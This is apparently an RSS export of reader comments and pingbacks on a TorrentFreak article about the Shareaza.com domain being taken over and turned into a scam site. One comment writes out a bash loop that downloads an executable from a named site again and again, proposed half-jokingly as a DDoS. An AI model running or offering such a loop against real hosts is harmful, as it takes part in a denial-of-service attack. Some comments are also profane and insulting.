Comments on: Shareaza.com Hijacked and Turned Into a Scam Site http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/ Torrent News, Torrent Sites and the latest Scoops Sun, 22 Nov 2009 14:34:39 +0000 http://wordpress.org/?v=2.8.3 hourly 1 By: resourceslog.com » The Shareaza Conspiracy In a Nutshell http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-490897 resourceslog.com » The Shareaza Conspiracy In a Nutshell Sun, 31 Aug 2008 08:04:31 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-490897 [...] scam site purporting to offer users "legal p2p downloads". It emerged that Jon Nilson had been forced to relinquish control of the domain as part of a settlement with La Societe Des Producteurs De [...] [...] scam site purporting to offer users “legal p2p downloads”. It emerged that Jon Nilson had been forced to relinquish control of the domain as part of a settlement with La Societe Des Producteurs De [...]

]]> By: Gaara http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-410726 Gaara Sat, 07 Jun 2008 01:19:12 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-410726 Wow! Close shave :p I was actually downloading Shareaza "V4" when I came across this article... Cuz I couldn't access Shareaza+com and looking as to why... TorrentFreak saves! Wow! Close shave :p
I was actually downloading Shareaza “V4″ when I came across this article…

Cuz I couldn’t access Shareaza+com and looking as to why…

TorrentFreak saves!

]]> By: Zwartbaard » Blog Archive » Shareaza Stands Up To Scammers: "We're fighting back!" http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-380979 Zwartbaard » Blog Archive » Shareaza Stands Up To Scammers: "We're fighting back!" Sat, 10 May 2008 10:46:19 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-380979 [...] contributions towards our Legal Defense Fund. As you will remember, our project's identity was appropriated late last year by the recording industry funded Discordia Ltd. shell company and handed over to the [...] [...] contributions towards our Legal Defense Fund. As you will remember, our project’s identity was appropriated late last year by the recording industry funded Discordia Ltd. shell company and handed over to the [...]

]]> By: John Wesley http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-343211 John Wesley Sun, 13 Apr 2008 11:25:34 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-343211 Please do not mention DDoS or other actions. These comments are monitored by the enemy, and the are just begging for way reason to strike! We are fighting for FREE, Open-Source developers and software. Time is not on our side. Please take a look at these links, and thanks! The Story: Shareaza, iMesh, RIAA, and Recent Events: http://www.shareazasecurity.be/forum/viewtopic.php?f=46&t=1070 Help Shareaza (TM) fight back! http://forum.cmsmadesimple.org/index.php?topic=20984.msg102145 Please do not mention DDoS or other actions. These comments are monitored by the enemy, and the are just begging for way reason to strike! We are fighting for FREE, Open-Source developers and software. Time is not on our side.

Please take a look at these links, and thanks!

The Story: Shareaza, iMesh, RIAA, and Recent Events:
http://www.shareazasecurity.be/forum/viewtopic.php?f=46&t=1070

Help Shareaza (TM) fight back!
http://forum.cmsmadesimple.org/index.php?topic=20984.msg102145

]]> By: The Shareaza Conspiracy In a Nutshell at IDTorrent Blog http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-312961 The Shareaza Conspiracy In a Nutshell at IDTorrent Blog Mon, 17 Mar 2008 05:06:29 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-312961 [...] purporting to offer users “legal p2p downloads”. It emerged that Jon Nilson had been forced to relinquish control of the domain as part of a settlement with La Societe Des Producteurs De [...] [...] purporting to offer users “legal p2p downloads”. It emerged that Jon Nilson had been forced to relinquish control of the domain as part of a settlement with La Societe Des Producteurs De [...]

]]> By: After Hijacking Site, Scammers Move to Seize Shareaza Trademark | Bittorrent News http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-311517 After Hijacking Site, Scammers Move to Seize Shareaza Trademark | Bittorrent News Fri, 14 Mar 2008 23:27:09 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-311517 [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...] [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...]

]]> By: The Hijacking Of An Open Source P2P App http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-309453 The Hijacking Of An Open Source P2P App Tue, 11 Mar 2008 20:36:38 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-309453 [...] sharing system called Shareaza. Late in December, somehow a New York-based company (Discordia Ltd.) gained control of the domain name Shareaza.com and put up a new site, though using much of the artwork from the [...] [...] sharing system called Shareaza. Late in December, somehow a New York-based company (Discordia Ltd.) gained control of the domain name Shareaza.com and put up a new site, though using much of the artwork from the [...]

]]> By: After Hijacking Site, Scammers Move to Seize Shareaza Trademark | http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-309383 After Hijacking Site, Scammers Move to Seize Shareaza Trademark | Tue, 11 Mar 2008 18:44:37 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-309383 [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...] [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...]

]]> By: Denial Mc Service http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-307903 Denial Mc Service Sun, 09 Mar 2008 23:34:45 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-307903 If one wanted to make a DDoS, he could just run the following line and hope others would do the same... but, please, don't do it! x=0; while true; do x=$(($x + 1)); echo Start $x; wget http://download.shareazaweb.com/ShareazaV4.exe --limit-rate 30k -O - 2>&1 >/dev/null | grep HTTP; echo Done; sleep 30; done If one wanted to make a DDoS, he could just run the following line and hope others would do the same… but, please, don’t do it!

x=0; while true; do x=$(($x + 1)); echo Start $x; wget http://download.shareazaweb.com/ShareazaV4.exe –limit-rate 30k -O – 2>&1 >/dev/null | grep HTTP; echo Done; sleep 30; done

]]> By: taffer http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-305199 taffer Thu, 06 Mar 2008 15:43:42 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-305199 anyone supporting malware needs to have their bell rung real hard anyone supporting malware needs to have their bell rung real hard

]]> By: After Hijacking Site, Scammers Move to Seize Shareaza Trademark at IDTorrent Blog http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-303999 After Hijacking Site, Scammers Move to Seize Shareaza Trademark at IDTorrent Blog Wed, 05 Mar 2008 04:04:40 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-303999 [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...] [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...]

]]> By: ilad http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-303564 ilad Tue, 04 Mar 2008 15:32:29 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-303564 give your head a shake give your head a shake

]]> By: Zwartbaard.nl » Blog Archive » After Hijacking Site, Scammers Move to Seize Shareaza Trademark http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-302724 Zwartbaard.nl » Blog Archive » After Hijacking Site, Scammers Move to Seize Shareaza Trademark Mon, 03 Mar 2008 10:31:23 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-302724 [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...] [...] a December 2007 hostile takeover, a company took control of Shareaza.com, the domain name used previously for the real, open-source Shareaza P2P client. The [...]

]]> By: Dr Krall http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-302457 Dr Krall Mon, 03 Mar 2008 02:45:58 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-302457 Shareaza is, and allways has been, a piece of crap anyway. So who cares, really. Shareaza is, and allways has been, a piece of crap anyway. So who cares, really.

]]> By: Lawyers For ‘Imposter’ P2P Software Threaten Open-Source Team at IDTorrent Blog http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-298360 Lawyers For ‘Imposter’ P2P Software Threaten Open-Source Team at IDTorrent Blog Tue, 26 Feb 2008 11:39:38 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-298360 [...] the news started to break in December last year, it looked bleak for the real Shareaza project. A company [...] [...] the news started to break in December last year, it looked bleak for the real Shareaza project. A company [...]

]]> By: Asatru http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-287524 Asatru Tue, 12 Feb 2008 09:32:05 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-287524 Are you stupid? Malware will run on ANY system that isnt secured and updated properly. Are you stupid? Malware will run on ANY system that isnt secured and updated properly.

]]> By: P2P Software Review & Comparison | THE source for P2P File Sharing Tips, Tricks and information. | FileShareFreak http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-269765 P2P Software Review & Comparison | THE source for P2P File Sharing Tips, Tricks and information. | FileShareFreak Tue, 22 Jan 2008 20:23:41 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-269765 [...] PROs: Opens *.torrent files; users can click the ’search more’ button for endless results; has search categories unlike others; uses different networks (with the ability to download the same file across them); has a nice status column feature. CONs: Fast and slow speeds for the same file (sometimes it was lightning fast, other times it seemed to lose the connection). No ‘bitrate’ column for songs; search was erratic (and not customizable). Connects to the Gnutella, Gnutella 2 and eDonkey2000 (eD2K) networks. NOTE: It has been reported that the original ‘Shareaza.com’ website has been hijacked by the same company (MusicLab) that owns the new pay-versions of iMesh (v7+) and BearShare (v6+). Avoid at all costs, and don’t search for Shareaza in a search engine - download it from the sourceforge.net website instead. Read the whole story at torrentfreak.com. [...] [...] PROs: Opens *.torrent files; users can click the ’search more’ button for endless results; has search categories unlike others; uses different networks (with the ability to download the same file across them); has a nice status column feature. CONs: Fast and slow speeds for the same file (sometimes it was lightning fast, other times it seemed to lose the connection). No ‘bitrate’ column for songs; search was erratic (and not customizable). Connects to the Gnutella, Gnutella 2 and eDonkey2000 (eD2K) networks. NOTE: It has been reported that the original ‘Shareaza.com’ website has been hijacked by the same company (MusicLab) that owns the new pay-versions of iMesh (v7+) and BearShare (v6+). Avoid at all costs, and don’t search for Shareaza in a search engine – download it from the sourceforge.net website instead. Read the whole story at torrentfreak.com. [...]

]]> By: kingdl http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-266091 kingdl Fri, 18 Jan 2008 00:44:46 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-266091 [quote comment="247106"]Good, only dumbasses would use shareaza anyway.[/quote] What a knuckle head [quote comment="247106"]Good, only dumbasses would use shareaza anyway.[/quote]
What a knuckle head

]]> By: KsbjA http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-265848 KsbjA Thu, 17 Jan 2008 16:59:29 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-265848 Shit, I downloaded it! It had advertising in it, so I googled for removal of the ads, and found that it is a scam! I downloaded the free AVG Antispyware, uninstalled the fake Shareaza etc. but there's still something left - why the hail didn't I make a system restore??? Shit, I downloaded it! It had advertising in it, so I googled for removal of the ads, and found that it is a scam! I downloaded the free AVG Antispyware, uninstalled the fake Shareaza etc. but there’s still something left – why the hail didn’t I make a system restore???

]]> By: speedy11131 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-262736 speedy11131 Mon, 14 Jan 2008 03:38:37 +0000 http://torrentfreak.com/shareazacom-hijacked-and-turned-into-a-scam-site-071224/#comment-262736 [quote comment="256212"]Those dumping on Shareaza are most likely talking out their ass and have never even tried the program because if they did they would know it is the best P2P application ever made! Yes it has torrent support and yes I would rather use uTorrent for my torrents but for old & rare stuff that you will almost never find via torrent networks you will find thanks to Shareaza and mainly it's G2 network which rocks! Instead of shitting on Shareaza why don't you jackasses direct that attitude towards the fucking scumbags that now run shareaza.com?[/quote] ^ IAWTP And yes, Shareaza used to be slow, but it has become much less bloated especially lately. [quote comment="256212"]Those dumping on Shareaza are most likely talking out their ass and have never even tried the program because if they did they would know it is the best P2P application ever made! Yes it has torrent support and yes I would rather use uTorrent for my torrents but for old & rare stuff that you will almost never find via torrent networks you will find thanks to Shareaza and mainly it’s G2 network which rocks!

Instead of shitting on Shareaza why don’t you jackasses direct that attitude towards the fucking scumbags that now run shareaza.com?[/quote]

^ IAWTP

And yes, Shareaza used to be slow, but it has become much less bloated especially lately.

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